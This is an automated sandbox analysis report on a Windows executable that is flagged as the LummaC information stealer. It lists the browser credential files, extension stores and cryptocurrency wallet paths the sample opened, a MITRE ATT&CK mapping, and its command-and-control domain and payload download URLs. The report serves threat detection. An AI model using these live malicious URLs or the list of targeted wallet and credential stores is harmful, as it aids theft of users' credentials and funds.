Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: file.exe PID: 2608, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	21 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://frogmen-smell.sbs/q	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/:	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/Z	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apiZ	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/m;	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/c	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/U;	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/08	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/kjz	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/((G/(	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apib	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe(	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
frogmen-smell.sbs	172.67.174.133	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.16.196	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
thicktoys.sbs	false	high
faintbl0w.sbs	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
3xc1aimbl0w.sbs	false	high
https://frogmen-smell.sbs/api	false	high
300snails.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_177.12.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/Z	file.exe, 00000000.00000003.1286386964.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/c	file.exe, 00000000.00000003.1483435757.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_177.12.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_177.12.dr	false		high
https://frogmen-smell.sbs/q	file.exe, 00000000.00000003.1301589612.0000000005495000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_157.12.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_177.12.dr	false		high
https://frogmen-smell.sbs/m;	file.exe, 00000000.00000003.1350502412.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://frogmen-smell.sbs/:	file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_177.12.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://frogmen-smell.sbs/C	file.exe, 00000000.00000003.1483435757.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/feedback/report?space=61	chromecache_177.12.dr, chromecache_141.12.dr, chromecache_178.12.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://frogmen-smell.sbs/apiZ	file.exe, 00000000.00000003.1350502412.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/gewarren	chromecache_177.12.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://frogmen-smell.sbs/U;	file.exe, 00000000.00000003.1350502412.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://frogmen-smell.sbs/((G/(	file.exe, 00000000.00000003.1338110823.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_177.12.dr	false		high
https://frogmen-smell.sbs/08	file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1332037532.0000000005491000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1332347706.000000000549B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_177.12.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_177.12.dr	false		high
https://frogmen-smell.sbs/kjz	file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://frogmen-smell.sbs/apib	file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/certhelp	chromecache_168.12.dr, chromecache_157.12.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.1575379921.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1600739460.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_177.12.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_157.12.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/	file.exe, 00000000.00000003.1332347706.000000000549B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_177.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_177.12.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://github.com/adegeo	chromecache_177.12.dr	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_168.12.dr, chromecache_157.12.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_168.12.dr, chromecache_157.12.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1483751828.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1575379921.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1600739460.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1599313212.00000000003AB000.00000004.00000010.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_177.12.dr	false		high
http://185.215.113.16/off/def.exe(	file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://channel9.msdn.com/	chromecache_168.12.dr, chromecache_157.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_168.12.dr, chromecache_157.12.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.174.133	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556460
Start date and time:	2024-11-15 13:17:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/64@9/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 216.58.206.67, 184.28.89.167, 172.217.16.206, 66.102.1.84, 88.221.170.101, 34.104.35.123, 20.42.65.84, 142.250.185.234, 172.217.23.106, 142.250.185.202, 142.250.185.106, 142.250.186.106, 216.58.212.138, 142.250.186.74, 142.250.186.138, 142.250.185.170, 172.217.18.10, 216.58.206.74, 172.217.16.202, 142.250.185.74, 142.250.185.138, 142.250.184.234, 142.250.184.202, 2.19.126.137, 2.19.126.156, 20.189.173.4, 13.74.129.1, 13.107.21.237, 204.79.197.237, 142.250.184.227, 142.250.185.110
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, onedscolprdwus03.westus.cloudapp.azure.com, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdeus02.eastus.cloudapp.azure.com, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, 